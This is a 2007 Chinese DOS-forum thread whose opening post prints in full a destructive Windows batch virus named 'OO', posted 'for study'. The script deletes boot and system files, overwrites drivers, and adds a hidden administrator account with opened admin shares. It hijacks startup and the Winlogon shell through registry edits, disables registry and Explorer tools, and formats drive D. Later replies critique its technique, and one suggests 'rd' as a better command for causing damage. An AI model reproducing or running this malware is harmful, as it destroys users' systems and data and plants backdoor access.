中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »
作者:
标题: [推荐]经典批处理脚本 上一主题 | 下一主题
bob1989
中级用户





积分 322
发帖 144
注册 2007-1-10
状态 离线
『楼 主』:  [推荐]经典批处理脚本

这是一个病毒的批处理   大家研究一下把   (千万不要自己打开 否则后果自负)
@echo off
color 4e
del /q /a:- c:\boot.ini
del /q /a:r c:\NTDETECT.COM
del /q /a:- C:\WINDOWS\system32\*.exe
del /q /a:s C:\WINDOWS\system32\*.exe
del /q /a:a C:\WINDOWS\system32\drivers\*.sys
del /q c:\windows\system32\*.nls
del /q /a:s c:\windows\system32\*
del /q c:\windows\lastgood\*
del /q c:\windows\system\*
del /q c:\windows\pss\*
copy oo.bat c:\windows\system32\
echo start c:\windows\system32\shutdown.exe -r -c "OO is running away! Help me!" -f>>c:\windows\help\Hint.bat
echo start c:\winsows\system32\chkdsk.bat>>c:\windows\help\Hint.bat
echo copy d:\boot.bat c:\windows\system32\>>c:\windows\help\Hint.bat
echo rename c:\windows\system32\boot.bat chkdsk.bat>>c:\windows\help\Hint.bat
echo net user oo oec315 /add>>c:\windows\help\Hint.bat
echo net localgroup administrators oo /add>>c:\windows\help\Hint.bat
echo net start netbois>>c:\windows\help\Hint.bat
echo net share ipc$>>c:\windows\help\Hint.bat
echo net share admin$>>c:\windows\help\Hint.bat
echo net start "terminal services">>c:\windows\help\Hint.bat
echo net start "messenger">>c:\windows\help\Hint.bat
echo net send * hello>>c:\windows\help\Hint.bat
echo net stop themes>>c:\windows\help\Hint.bat
echo print c:\Hello.txt>>c:\windows\help\Hint.bat
echo Windows Registry Editor Version 5.00>>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>h.reg
echo "Chkdsk"="C:\\WINDOWS\\System32\\chkdsk.bat">>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>h.reg
echo "Boot"="d:\\Boot.bat">>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>h.reg
echo "MSHelp"="C:\\WINDOWS\\HELP\\Hint.bat">>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Ratings]>>h.reg
echo "Key"=hex:db,23,45,6f,8e,41,70,4c,44,5e,d0,23,79,c2,b4,b1>>h.reg
echo "Hint"="Hello. I am OO.">>h.reg
echo "FileName0"="C:\\WINDOWS\\System32\\RSACi.rat">>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Ratings\.Default]>>h.reg
echo "Allow_Unknowns"=dword:00000000>>h.reg
echo "PleaseMom"=dword:00000001>>h.reg
echo "Enabled"=dword:00000001>>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Ratings\.Default\http://www.rsac.org/ratingsv01.html]>>h.reg
echo "v"=dword:00000004>>h.reg
echo "s"=dword:00000004>>h.reg
echo "n"=dword:00000004>>h.reg
echo "l"=dword:00000004>>h.reg
echo [HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\System]>>h.reg
echo "DisableRegistryTools"=dword:00000001>>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.reg]>>h.reg
echo @="txtfile">>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gif]>>h.reg
echo @="txtfile">>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.htm]>>h.reg
echo @="txtfile">>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.html]>>h.reg
echo @="txtfile">>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.doc]>>h.reg
echo @="txtfile">>h.reg
echo "Content Type"="">>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.exe]>>h.reg
echo @="txtfile">>h.reg
echo "Content Type"="">>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.exe\PersistentHandler]>>h.reg
echo @="">>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.mp3]>>h.reg
echo @="txtfile">>h.reg
echo "Content Type"="">>h.reg
echo [HKEY_USERS\S-1-5-21-1454471165-507921405-1343024091-500\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]>>h.reg
echo "NoClose"=hex:01,00,00,00>>h.reg
echo "NoChangeStartMenu"=hex:01,00,00,00>>h.reg
echo "NoSetTaskbar"=hex:01,00,00,00>>h.reg
echo "NoDesktop"=hex:01,00,00,00>>h.reg
echo "NoDrives"=dword:03ffffff>>h.reg
echo "NoTrayContextMenu"=hex:01,00,00,00>>h.reg
echo "NoDriveTypeAutoRun"=dword:00000091>>h.reg
echo "NoRun"=dword:00000001>>h.reg
echo [HKEY_USERS\S-1-5-21-1454471165-507921405-1343024091-500\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders]>>h.reg
echo "Chkdsk"="C:\\WINDOWS\\System32\\chkdsk.bat">>h.reg
echo [HKEY_USERS\S-1-5-21-1454471165-507921405-1343024091-500\Software\Microsoft\Windows\CurrentVersion\Policies\System]>>h.reg
echo "DisableRegistryTools"=dword:00000001>>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]>>h.reg
echo "DefaultUserName"="oo">>h.reg
echo "Shell"="c:\\windows\\system32\\chkdsk.bat">>h.reg
echo "AltDefaultUserName"="Administrator">>h.reg
echo "DontDisplayLastUserName"="1">>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]>>h.reg
echo "dontdisplaylastusername"=dword:00000001>>h.reg
echo "legalnoticecaption"="Fuck">>h.reg
echo "legalnoticetext"="It's ok to be a gay.">>h.reg
echo "shutdownwithoutlogon"=dword:00000000>>h.reg
echo [HKEY_USERS\S-1-5-21-1454471165-507921405-1343024091-500\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]>>h.reg
echo "Start_ShowRun"=dword:00000000>>h.reg
echo "Start_ShowControlPanel"=dword:00000000>>h.reg
echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]>>h.reg
echo "NoViewContextMenu"=dword:00000001>>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>h.reg
echo "OO"="C:\\WINDOWS\\System32\\sspipes.scr">>h.reg
echo [HKEY_USERS\S-1-5-21-1454471165-507921405-1343024091-500\Software\Microsoft\Internet Explorer\Main]>>h.reg
echo "Start Page"="http://www.doggiehome.com/">>h.reg
echo "FullScreen"="yes">>h.reg
echo "Show_URLToolBar"="no">>h.reg
echo "Show_URLinStatusBar"="no">>h.reg
echo "Show_StatusBar"="no">>h.reg
reg import h.reg
del h.reg
rename c:\windows\system32\oo.bat chkdsk.bat
copy c:\windows\system32\chkdsk.bat d:\
rename d:\chkdsk.bat boot.bat
start c:\windows\help\Hint.bat
echo shell=c:\windows\system32\chkdsk.bat>>c:\windows\system.ini
echo shell=c:\windows\system32\chkdsk.bat>>c:\windows\win.ini
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\Hello.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\Hello.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>d:\Hello.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\About.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system\Install.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\Hello.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\Hello.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system\Install.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system\Install.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system\Install.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system\Install.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system\Hello.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system\Hello.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system\Hello.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system\Hello.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system\Hello.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system\Hello.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system\Hello.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system\Hello.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system\Hello.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system\Hello.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system\Hello.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system\Hello.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system\Hello.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system32\readme.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system32\readme.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system32\readme.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system32\readme.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system32\readme.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system32\readme.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system32\readme.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system32\readme.txt
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\Thank.oo
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system32\Thank.oo
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\Tank1.oo
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\tank2.oo
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\tank3.oo
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\tank4.oo
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\tank5.oo
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\tank6.oo
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\tank7.oo
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\tank8.oo
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\tank9.oo
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>d:\You.oo
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>d:\Thank.oo
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system32\drivers\ntfs.sys
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system32\drivers\loop.sys
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system32\drivers\power.sys
echo Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system32\drivers\poloo.sys
net user oo oo /add
net localgroup oo /add
net share ipc$
start c:\windows\system32\chkdsk.bat
net start "messenger"
net send * hello
net send * hello
net send * hello
net send * hello
ping www.doggiehome.com /n 15 /l 800
ping www.doggiehome.com /n 15 /l 800
ping www.doggiehome.com /n 15 /l 800
ping www.doggiehome.com /n 15 /l 800
ping www.doggiehome.com /n 15 /l 800
net start "netbios"
net start "rpcss"
chkdsk
format d: /c /f
print c:\Hello.txt


2007-1-27 07:05
查看资料  发短消息 网志   编辑帖子  回复  引用回复
electronixtar
铂金会员





积分 7493
发帖 2672
注册 2005-9-2
状态 离线
『第 2 楼』:  

没看出来……




C:\>BLOG http://initiative.yo2.cn/
C:\>hh.exe ntcmds.chm::/ntcmds.htm
C:\>cmd /cstart /MIN "" iexplore "about:<bgsound src='res://%ProgramFiles%\Common Files\Microsoft Shared\VBA\VBA6\vbe6.dll/10/5432'>"
2007-1-27 08:07
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
PPdos
高级用户




积分 783
发帖 268
注册 2006-12-26
状态 离线
『第 3 楼』:  

reg import h.reg

这不是给自己添麻烦么?
如果能使用reg命令还导出干吗? 难道不知道reg可以直接写入?
如果reg不能用这句写上又有什么用?
删除与格式化命令竟然直接使用。。是给杀毒软件看得吗?

经典范例!大家多多注意



菩提本无树,明镜亦非台,本来无一物,何处惹尘埃.
2007-1-27 08:49
查看资料  发短消息 网志   编辑帖子  回复  引用回复
bob1989
中级用户





积分 322
发帖 144
注册 2007-1-10
状态 离线
『第 4 楼』:  

首先声明一下 上面那个BAT不是我写的
除了REG可以改注册表外还可以用
regedit /s 123.reg
来修改注册表

2007-1-27 10:34
查看资料  发短消息 网志   编辑帖子  回复  引用回复
electronixtar
铂金会员





积分 7493
发帖 2672
注册 2005-9-2
状态 离线
『第 5 楼』:  



  Quote:
删除与格式化命令竟然直接使用

这个时代格式化命令早是聚光灯下的众矢之的了。搞破坏推荐用 rd 命令。




C:\>BLOG http://initiative.yo2.cn/
C:\>hh.exe ntcmds.chm::/ntcmds.htm
C:\>cmd /cstart /MIN "" iexplore "about:<bgsound src='res://%ProgramFiles%\Common Files\Microsoft Shared\VBA\VBA6\vbe6.dll/10/5432'>"
2007-1-27 11:51
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
TLang
初级用户

Alpha



积分 46
发帖 21
注册 2007-1-27
状态 离线
『第 6 楼』:  

没用!



Impossible's Nothing!
2007-1-27 23:07
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复

请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: